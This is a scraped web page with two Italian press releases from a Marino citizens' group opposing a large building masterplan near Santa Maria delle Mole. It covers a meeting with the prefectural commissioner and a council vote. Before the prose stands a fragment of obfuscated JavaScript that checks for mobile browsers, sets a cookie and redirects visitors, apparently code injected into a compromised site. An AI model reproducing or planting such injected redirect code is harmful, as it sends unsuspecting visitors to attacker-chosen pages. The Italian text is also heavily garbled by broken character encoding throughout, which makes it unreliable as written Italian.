)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Esito dell’incontro con il Commissario Prefettizio

NOTA: il Commissario Prefettizio di Marino, dott.ssa Enza Caporale, prende il posto dell’Amministrazione Silvagni a settembre 2015, a seguito dell’inchiesta per i reati di concussione,corruzione,peculato. Dispone quindi dei pieni poteri di Sindaco, Giunta e Consiglio Comunale, coadiuvata da due sub-commissari.

COMUNICATO

CEMENTO A MARINO: ESITO DELL’INCONTRO CON IL COMMISSARIO PREFETTIZIO.

Lo scorso 23 dicembre l’Assemblea contro la Cementificazione, Argine Divino Amore, Legambiente ai???Il Riccioai??? e Italia Nostra hanno incontrato il Commissario Prefettizio del Comune di Marino, dott.ssa Enza Caporale.

All’incontro ha partecipato una folta delegazione di cittadini da anni in lotta contro la devastazione del territorio e, in particolare, intenti a scongiurare l’effettiva realizzazione del Masterplan ai???Divino Amore ai??i?? Mugilla ai??i?? Mazzamagnaai??? che prevede oltre un milione di metri cubi di cemento e quasi 15.000 nuovi abitanti.

Oltre al Commissario Prefettizio era presente anche l’ingegnere Petrini, dirigente dell’urbanistica del nostro Comune.

La dott.ssa Caporale ha esordito dichiarando che non intende revocare gli atti prodotti dalla Giunta Palozzi e confermati da quella Silvagni a favore della cementificazione del territorio. DopodichAi??, sono state esposte le ragioni che riguardano i motivi per i quali ci stiamo opponendo con tutte le nostre forze ad una inutile e dannosa lottizzazione che raddoppierebbe di fatto il centro abitato di S.Maria delle Mole, stringendo in un imbuto tutto il quadrante compreso tra l’Appia e la Nettunense. Abbiamo fatto presente che sono pendenti numerosi ricorsi al TAR, con diverse motivazioni perchAi?? diverse e variegate sono le irregolaritAi?? riscontrate: non A? stata fatta alcuna variante, ci sono vincoli non rispettati, c’A? il problema idrico e idro-geologico, aree di interesse archeologico, nastri verdi. Oltre alle palesi irregolaritAi??, c’A? poi il fatto che tuttora ci sono centinaia di nuovi appartamenti sfitti, segno che non esiste alcuna utilitAi?? pubblica nel progetto approvato il 3 agosto del 2011. Anzi, le stesse opere previste all’epoca, a carico dei proponenti privati, oltre ad essere giAi?? contestate in quanto la maggior parte di dubbia utilitAi??, non sono ancora neanche state progettate: eppure l’ing. Petrini ha giAi?? concesso 8 permessi a costruire nell’area super-vincolata di Mugilla, limitrofa alle scuole di via Maroncelli.

Sempre per le stesse 8 palazzine, erano obbligatorie le rilevazioni di CO2 cosAi?? come da determina della Regione Lazio: queste rilevazioni non sono state effettuate, eppure i permessi sono stati concessi.

L’incontro A? durato oltre un’ora e abbiamo chiesto la sua verbalizzazione, che renderemo pubblica non appena possibile. Dopo aver esposto tutte le manovre finanziarie delle societAi?? interessate alla speculazione edilizia del ai???Divino Amore ai??i?? Mugilla ai??i?? Mazzamagnaai??? e aver fatto emergere come l’urbanistica nel Comune di Marino abbia sostenuto in ogni modo tali progetti, la dott.ssa Caporale ci ha lasciati intimando all’ing. Petrini di non concedere piA? permessi a costruire.

Evidentemente, durante l’incontro qualche cosa di poco chiaro il Commissario Prefettizio lo ha intuito.

Staremo a vedere se la consegna sarAi?? rispettata.

Adesso si entra in periodo elettorale e gli interessi dei palazzinari locali e romani sul nostro territorio troveranno ospitalitAi?? nei partiti con i quali in combutta da anni ne fanno scempio, abbassando la qualitAi?? della vita della popolazione anche grazie al continuo taglio e alla insufficienza cronica dei servizi fondamentali quali sanitAi??, istruzione, trasporto pubblico, viabilitAi?? e gestione idrica.

Con la dott.ssa Caporale dovremmo avere un nuovo incontro, in modo tale che lei possa studiare meglio la situazione dell’urbanistica ed, eventualmente, intervenire per porre rimedio.

Ma A? giusto, secondo noi, non farsi alcuna illusione perchAi?? il Commissario Prefettizio non intende cancellare le delibere comunali del 3 agosto 2011, da noi contestate in ogni sede.

Dal nostro punto di vista, se non sarAi?? posta in atto la cementificazione del Divino Amore sarAi?? solo grazie alla forza che esprimerAi?? la popolazione. E tale forza A? qualcosa di concreto che si organizza partecipando attivamente alla lotta in corso e non potrAi?? in alcun modo essere ridotta ad una speranza elettoralistica.

Marino, 14 gennaio 2016

ASSEMBLEA CONTRO LA CEMENTIFICAZIONE ai??i?? http://stopcemento.noblogs.org ai??i?? stopcemento@noblogs.org

Comunicato su incontro con Commissariato Prefettizio in PDF

Escono allo scoperto…

COMUNICATO

CONSIGLIO COMUNALE DI MARINO: LA MAGGIORANZA SI DICHIARA APERTAMENTE A FAVORE DEL RADDOPPIO DI S.MARIA DELLE MOLE

L’Assemblea contro la Cementificazione ha presenziato al Consiglio Comunale di Marino in due sedute, lunedAi?? 27 e martedAi?? 28 luglio, il cui ordine del giorno prevedeva due mozioni dell’opposizione (Tammaro e 5 Stelle) riguardanti il futuro assetto del territorio di S.Maria delle Mole e Frattocchie.

Entrambe avevano lo scopo di salvaguardare territorio e residenti da una colata di un milione e trecentomila metri cubi di cemento e 12.500 nuovi residenti, con annessi problemi di viabilitAi??, acqua,fogne e servizi.

L’Amministrazione Comunale, dopo aver proposto un rinvio sulla ai???mozione-Tammaroai???, la quale non chiedeva revoche di delibere ma semplicemente un confronto con le aperture mostrate (a parole) dalla Regione Lazio per revisionare i progetti, A? rientrata dalla lunga sospensione della seduta rivendicando apertamente la volontAi?? di proseguire nella cementificazione del territorio.

E’ questo il senso della dichiarazione di voto data da Remo Pisani a nome della maggioranza, il quale ha disconosciuto l’ambiguitAi?? che dal consiglio comunale di novembre vedeva l’amministrazione dichiarare la propria contrarietAi?? ai progetti della precedente giunta Palozzi e il sostegno ai ricorsi al TAR del Comitato ADA con i famosi 50 euro allora donati dal sindaco Silvagni e dai consiglieri Marchetti e Cherri.

La conseguente bocciatura della ai???mozione-Tammaroai??? non A? quindi dovuta a questioni tecniche, giuridiche o economiche, anche se la maggioranza ha provato con esse (che secondo noi non sussistono) ad argomentare la propria presa di posizione sul mantenimento del progetto speculativo.

Alla semplice domanda sull’utilitAi?? di una nuova colata di cemento e di case non A? stata data risposta.

Su oltre 120 ettari di Agro Romano intatto, da via del Divino Amore a Mugilla, fino a Mazzamagna, gli interessi di Parnasi e altri costruttori locali trovano la giusta sinergia con i referenti politici in Consiglio.

Nel goffo tentativo di giustificarsi, l’Amministrazione tenta di passare come paladina dell’ambiente, in quanto le precedenti giunte di centro-sinistra (e prima ancora quella Desideri di centro-destra) avevano previsto una cubatura maggiore sulla stessa zona seppur con destinazione d’uso non residenziale.

Partendo dagli zero metri cubi attuali, non si capisce perchA? si dovrebbe gioire di questa speculazione, peraltro costantemente portata avanti in questi anni dagli uffici tecnici del Comune nonostante le illegittimitAi?? oggetto di numerosi ricorsi ancora pendenti al TAR del Lazio che tergiversa ormai da quasi 4 anni.

La seconda mozione, presentata dai 5 Stelle, riguardava il sostegno alla richiesta di ampliamento del Parco dell’Appia Antica da inoltrare alla Regione Lazio, organo effettivamente deputato a realizzare tale importante iniziativa ferma da oltre un decennio.

Anche in questo caso, Remo Pisani, a nome della maggioranza, ha espresso un fermo ai???noai??? sia politico che tecnico-giuridico. Gli impedimenti giuridici non sussistono, anzi, proprio allargando il perimetro del Parco dell’Appia Antica gli eventuali interessi dei costruttori nulla varrebbero in sede legale.

Come nota di cronaca, le mozioni sono state respinte con 10 voti contrari e 8 favorevoli, e non A? sfuggita l’assenza alle votazioni di alcuni importanti consiglieri di maggioranza andati via al rientro dalla sospensione.

Come Assemblea contro la Cementificazione non ci aspettavamo nessuna tutela del territorio da parte della maggioranza e non ci siamo stupiti per il tentativo di rinviare il voto sulla mozione a ai???dopo la decisione del TARai???, cosAi?? come giAi?? fatto a novembre 2014. Stavolta perA? l’Amministrazione Comunale rivendica il proprio ruolo affianco ai costruttori, agli immobiliaristi e alle banche che ci sono dietro il ai???Masterplanai??? del 2011.

Infine, ringraziamo anche il consigliere comunale Ambrogiani (PD) per aver rivendicato in consiglio comunale il sostegno alla delibera nAi??35 del 2014 (giunta Palozzi) che ha temporaneamente permesso la realizzazione di un parcheggio sterrato a via Frassati in cambio dell’approvazione di una nuova colata di cemento sullo stesso e su diversi ettari limitrofi proprio al confine con Mugilla. Secondo la delibera citata, su questo terreno di proprietAi?? della ai???Selva srlai??? l’Amministrazione (Palozzi) restava in attesa dello sviluppo del Piano Integrato, facente parte del protocollo d’intesa Palozzi-Polverini, sospeso dalla Regione Lazio proprio in previsione dell’allargamento del Parco dell’Appia Antica

Ovviamente, il consigliere PD aveva omesso di citare questa seconda parte, pensando che in platea ci fosse gente sprovveduta.

E’ lecito chiedersi che senso abbia rivendicarsi il sostegno a una simile delibera che prevedeva un nuovo scempio sul versante sud di Mugilla e poi votare la richiesta di ampliamento del Parco dell’Appia Antica.

Del resto, l’unica cosa che si A? verificata finora A? proprio il comodato d’uso del parcheggio di via Frassati, preludio alla cementificazione dell’intera zona, e non lo sviluppo del Parco dell’Appia Antica.

L’Assemblea contro la Cementificazione invita la popolazione a non dare nulla per scontato e a continuare a organizzarsi e battersi per evitare che i palazzinari costruiscano ai???solide realtAi??ai???.

I loro ai???sogniai??? non coincidono con quelli della popolazione, senza ombra di dubbio.

Marino 31 luglio 2015

Assemblea contro la Cementificazione — http://stopcemento.noblogs.org — stopcemento@inventati.org